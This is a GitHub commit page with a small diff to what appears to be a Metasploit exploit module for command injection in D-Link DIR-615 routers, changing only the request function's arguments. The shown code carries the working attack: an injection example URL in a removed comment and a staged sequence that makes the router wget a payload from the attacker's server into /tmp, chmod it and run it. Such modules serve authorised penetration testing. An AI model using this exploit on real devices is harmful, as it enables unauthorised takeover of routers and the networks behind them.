Skip to content

Commit f3a2859

Browse files
author
m-1-k-3
committed
removed user,pass in request
1 parent 4816925 commit f3a2859

File tree

1 file changed

+5
-7
lines changed

1 file changed

+5
-7
lines changed

modules/exploits/linux/http/dlink_dir615_up_exec.rb

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -76,9 +76,7 @@ def initialize(info = {})
7676
end
7777

7878

79-
def request(cmd,user,pass)
80-
#http://IP/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=
81-
79+
def request(cmd)
8280
begin
8381
res = send_request_cgi({
8482
'uri' => @uri,
@@ -139,7 +137,7 @@ def exploit
139137
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
140138
end
141139
cmd = payload.encoded
142-
res = request(cmd,user,pass)
140+
res = request(cmd)
143141
if (!res)
144142
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
145143
else
@@ -193,7 +191,7 @@ def exploit
193191

194192
#not working if we send all command together -> lets take three requests
195193
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
196-
res = request(cmd,user,pass)
194+
res = request(cmd)
197195
if (!res)
198196
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
199197
end
@@ -215,7 +213,7 @@ def exploit
215213
#
216214
cmd = "chmod 777 /tmp/#{filename}"
217215
print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
218-
res = request(cmd,user,pass)
216+
res = request(cmd)
219217
if (!res)
220218
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
221219
end
@@ -227,7 +225,7 @@ def exploit
227225
#
228226
cmd = "/tmp/#{filename}"
229227
print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
230-
res = request(cmd,user,pass)
228+
res = request(cmd)
231229
if (!res)
232230
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
233231
end

0 commit comments

Comments
 (0)